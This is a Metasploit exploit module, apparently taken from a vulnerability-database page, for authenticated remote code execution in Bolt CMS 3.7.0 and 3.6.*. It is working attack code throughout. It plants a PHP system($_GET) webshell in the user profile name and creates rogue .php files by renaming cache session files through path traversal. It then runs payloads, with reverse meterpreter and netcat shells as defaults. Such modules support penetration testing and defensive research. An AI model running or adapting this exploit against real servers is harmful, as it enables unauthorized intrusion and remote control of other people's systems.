##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution',
'Description' => %q{
This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0
and 3.6.* in order to execute arbitrary commands as the user running Bolt.
This module first takes advantage of a vulnerability that allows an
authenticated user to change the username in /bolt/profile to a PHP
`system($_GET[""])` variable. Next, the module obtains a list of tokens
from `/async/browse/cache/.sessions` and uses these to create files with
the blacklisted `.php` extention via HTTP POST requests to
`/async/folder/rename`. For each created file, the module checks the HTTP
response for evidence that the file can be used to execute arbitrary
commands via the created PHP $_GET variable. If the response is negative,
the file is deleted, otherwise the payload is executed via an HTTP
get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`
Valid credentials for a Bolt CMS user are required. This module has been
successfully tested against Bolt CMS 3.7.0 running on CentOS 7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Sivanesh Ashok', # Discovery
'r3m0t3nu11', # PoC
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['EDB', '48296'],
['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok
],
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'Targets' =>
[
[
'Linux (x86)', {
'Arch' => ARCH_X86,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
],
[
'Linux (x64)', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Linux (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
]
],
'Privileged' => false,
'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time
'DefaultOptions' => {
'RPORT' => 8000,
'WfsDelay' => 5
},
'DefaultTarget' => 2,
'Notes' => {
'NOCVE' => '0day',
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options [
OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', false]),
OptString.new('PASSWORD', [true, 'Password to authenticate with', false]),
OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files'])
]
end
def check
# obtain token and cookie required for login
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')
return CheckCode::Unknown('Connection failed') unless res
unless res.code == 200 && res.body.include?('Sign in to Bolt')
return CheckCode::Safe('Target is not a Bolt CMS application.')
end
html = res.get_html_document
token = html.at('input[@id="user_login__token"]')['value']
cookie = res.get_cookies
# perform login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
'cookie' => cookie,
'vars_post' => {
'user_login[username]' => datastore['USERNAME'],
'user_login[password]' => datastore['PASSWORD'],
'user_login[login]' => '',
'user_login[_token]' => token
}
})
return CheckCode::Unknown('Connection failed') unless res
unless res.code == 302 && res.body.include?('Redirecting to /bolt')
return CheckCode::Unknown('Failed to authenticate to the server.')
end
@cookie = res.get_cookies
return unless @cookie
# visit profile page to obtain user_profile token and user email
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
'cookie' => @cookie
})
return CheckCode::Unknown('Connection failed') unless res
unless res.code == 200 && res.body.include?('<title>Profile')
return CheckCode::Unknown('Failed to authenticate to the server.')
end
html = res.get_html_document
@email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile
unless @email # create fake email if this value is not found
@email = Rex::Text.rand_text_alpha_lower(5..8)
@email << "@#{@email}."
@email << Rex::Text.rand_text_alpha_lower(2..3)
print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.")
end
@profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)
if !@profile_token || @profile_token.to_s.empty?
return CheckCode::Unknown('Authentication failure.')
end
# change user profile to a php $_GET variable
@php_var_name = Rex::Text.rand_text_alpha_lower(4..6)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
'cookie' => @cookie,
'vars_post' => {
'user_profile[password][first]' => datastore['PASSWORD'],
'user_profile[password][second]' => datastore['PASSWORD'],
'user_profile[email]' => @email,
'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>",
'user_profile[save]' => '',
'user_profile[_token]' => @profile_token
}
})
return CheckCode::Unknown('Connection failed') unless res
# visit profile page again to verify the changes
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
'cookie' => @cookie
})
return CheckCode::Unknown('Connection failed') unless res
unless res.code == 200 && res.body.include?("php system($_GET['#{@php_var_name}'")
return CheckCode::Unknown('Authentication failure.')
end
CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")
end
def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super
csrf
unless @csrf_token && !@csrf_token.empty?
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
end
vprint_status("Found CSRF token: #{@csrf_token}")
file_tokens = obtain_cache_tokens
unless file_tokens && !file_tokens.empty?
fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.'
end
print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")
token_results = try_tokens(file_tokens)
unless token_results && !token_results.empty?
fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.'
end
valid_token = token_results[0]
@rogue_file = token_results[1]
print_good("Used token #{valid_token} to create #{@rogue_file}.")
if target.arch.first == ARCH_CMD
execute_command(payload.encoded)
else
execute_cmdstager
end
end
def csrf
# visit /bolt/overview/showcases to get csrf token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'),
'cookie' => @cookie
})
fail_with Failure::Unreachable, 'Connection failed' unless res
unless res.code == 200 && res.body.include?('Showcases')
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
end
html = res.get_html_document
@csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token']
end
def obtain_cache_tokens
# obtain tokens for creating rogue .php files from cache
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'),
'cookie' => @cookie
})
fail_with Failure::Unreachable, 'Connection failed' unless res
unless res.code == 200 && res.body.include?('entry disabled')
fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'
end
html = res.get_html_document
entries = html.search('tr')
tokens = []
entries.each do |e|
token = e.at('span[@class="entry disabled"]').text.strip
size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0]
tokens.append(token) if size.to_i >= 2000
end
tokens
end
def try_tokens(file_tokens)
# create .php files and check if any of them can be used for RCE via the username $_GET variable
file_tokens.each do |token|
file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present
file_name = Rex::Text.rand_text_alpha_lower(8..12)
file_name << '.php'
# use token to create rogue .php file by 'renaming' a file from cache
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'),
'cookie' => @cookie,
'vars_post' => {
'namespace' => 'root',
'parent' => '/app/cache/.sessions',
'oldname' => token,
'newname' => "#{file_path}/#{file_name}",
'token' => @csrf_token
}
})
fail_with Failure::Unreachable, 'Connection failed' unless res
next unless res.code == 200 && res.body.include?(file_name)
# check if .php file contains an empty `displayname` value. If so, cmd execution should work.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'files', file_name),
'cookie' => @cookie
})
fail_with Failure::Unreachable, 'Connection failed' unless res
# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
delete_file(file_name)
next
end
return token, file_name
end
nil
end
def execute_command(cmd, _opts = {})
if target.arch.first == ARCH_CMD
print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"")
end
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'files', @rogue_file),
'cookie' => @cookie,
'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout
}, 3.5)
# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
print_warning('No response, may have executed a blocking payload!')
return
end
print_good('Payload executed!')
end
def cleanup
super
# delete rogue .php file used for execution (if present)
delete_file(@rogue_file) if @rogue_file
return unless @profile_token
# change user profile back to original
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
'cookie' => @cookie,
'vars_post' => {
'user_profile[password][first]' => datastore['PASSWORD'],
'user_profile[password][second]' => datastore['PASSWORD'],
'user_profile[email]' => @email,
'user_profile[displayname]' => datastore['USERNAME'].to_s,
'user_profile[save]' => '',
'user_profile[_token]' => @profile_token
}
})
unless res
print_warning('Failed to revert user profile back to original state.')
return
end
# visit profile page again to verify the changes
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
'cookie' => @cookie
})
unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)
print_warning('Failed to revert user profile back to original state.')
end
print_good('Reverted user profile back to original state.')
end
def delete_file(file_name)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'),
'cookie' => @cookie,
'vars_post' => {
'namespace' => 'files',
'filename' => file_name,
'token' => @csrf_token
}
})
unless res && res.code == 200 && res.body.include?(file_name)
print_warning("Failed to delete file #{file_name}. Manual cleanup required.")
end
print_good("Deleted file #{file_name}.")
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation